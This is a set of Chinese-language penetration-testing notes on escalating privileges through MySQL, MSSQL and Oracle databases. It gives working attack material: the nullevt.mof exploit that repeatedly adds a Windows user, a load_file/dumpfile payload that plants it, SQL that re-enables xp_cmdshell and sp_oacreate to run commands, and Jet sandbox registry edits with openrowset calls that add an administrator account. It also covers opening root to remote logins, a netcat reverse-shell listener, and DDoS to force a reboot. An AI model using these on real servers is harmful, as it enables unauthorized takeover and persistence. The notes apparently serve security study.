在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。
数据库应用提权在权限提升中的意义:在使用漏洞提权无果时,考虑数据库提权
WEB或本地环境如何探针数据库应用
数据库提权权限用户密码收集等方法
目前数据库提权对应的技术及方法等
mysql数据库提权-脚本&MSF 流程:服务探针->信息收集->提权利用->获取权限
tips:mysql在windows下提权主要借助于root用户有系统权限
UDF(Userdefined function)提权(基于mysql调用命令执行函数) 信息收集(主要是root密码收集)
读取网站数据库配置文件(了解其命名规则及查找技巧)
关键字:sql data inc config conn database common include等
读取数据库存储或备份文件(了解数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.MYD(这里@@basedir是mysql安装目录)
root密码在mysql/user.MYD
利用脚本暴力破解(数据库root账户是否支持外联及如何开启外联)
远程需要root账户可以外连
服务器本地爆破,把爆破脚本上传至服务器,就可以不用root外连
注意:提权需要注意mysql的版本,版本<5.1到处目录为c:/windows或system32
,版本>5.1到处目录为mysql根目录的lib/plugin
,但mysql5.1以上版本默认没有plugin目录,需要自行创建
查看版本使用select version;
还需要注意windows下mysql默认为system权限,linux下mysql仅为mysql权限,所以linux下不适用udf提权,除非linux下mysql的的运行UID是root (使用ps -aux|grep mysql 查看mysql的运行权限,来判断能否使用mysql提权)
参考b udf提权原理详解-Windows
UDF提权-踩坑-Linux
MOF(基于mysql特性的安全问题) MOF提权的条件要求十分严苛:
windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
MOF文件 托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理 MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
公开的nullevt.mof利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #pragma namespace ("\\\\.\\root\\subscription" ) instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2" ; Name = "filtP2" ; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \" Win32_LocalTime\" " "And TargetInstance.Second = 5" ;QueryLanguage = "WQL" ; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2" ; ScriptingEngine = "JScript" ; ScriptText = "var WSH = new ActiveXObject(\" WScript.Shell\")\nWSH.run(\" net.exe user hpdoger 123456 /add\")" ;}; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:\Documents and Settings\test
根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下 payload:select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
关于Mof提权的弊端 我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:
1 2 3 net stop winmgmt del c:/windows/ system32/wbem/ repository net start winmgmt
启动项(基于配合操作系统自启动) 一般拿到root账户后,我们可以开启外连来做更多的事GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
开启外连后,可以利用远程msf来添加启动项进行提权
先在msf中搜索search mysql
补充这里的START FOLDER启动项目录可以修改
服务器重启后就会加载这个文件
要使自启动实现,可以使用DDOS,使服务器宕机重启
反弹提权 自己的VPS端开nc -l -p 5577
监听,然后利用root权限反弹系统shell,这里反弹需要用到前面udf提权的.dll库里的函数来完成
参考 Windows下三种mysql提权
mssql数据库提权-链接客户端 使用xp_cmdshell提权 xp_cmdshell默认在mssql2000 中开启,在mssql2005 之后版本中默认禁用,如果用户拥有管理员sa权限则可以用sp_configure重新开启它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /* 启用 */ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdeshell', 1; RECONFIGURE; /* 关闭 */ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdeshell', 0; RECONFIGURE; /* 执行 */ EXEC master.dbo.xp_cmdshell '命令' /* 若xp_cmdshell被删除了可以上传xplog70.dll进行恢复 */ EXEC master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
使用sp_oacreate提权 主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /* 启用 */ EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; /* 关闭 */ EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE WITH OVERRIDE; /* 执行 */ declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
使用SQL Server 沙盒提权 沙盒:沙盒通常严格控制其中的程序所能访问的资源,比如,沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中,网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说,沙盒属于虚拟化 的一种。沙盒中的所有改动对操作系统 不会造成任何损失。通常,这种技术被计算机 技术人员广泛用于测试可能带毒的程序或是其他的恶意代码 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 --提权语句 exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启, exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; --关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")') 沙盒模式SandBoxMode参数含义(默认是2) `0`:在任何所有者中禁止启用安全模式 `1` :为仅在允许范围内 `2` :必须在access模式下 `3`:完全开启 openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。 --恢复配置 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; exec sp_configure 'show advanced options',0;reconfigure;
参考 SQL Server提权方法汇总(MSSQL)
Oracle数据库提权-自动化工具 oracle和jsp搭建的网站无需提权 再带system权限(jsp网站)
工具:oracleshell by rebeyond
普通用户模式: 前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具) 拥有DBA账号密码,可以省去自己动手创建存储过程的繁琐步骤,一件执行测试。
注入提升模式:(sqlmap) 拥有一个oracle诸如点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证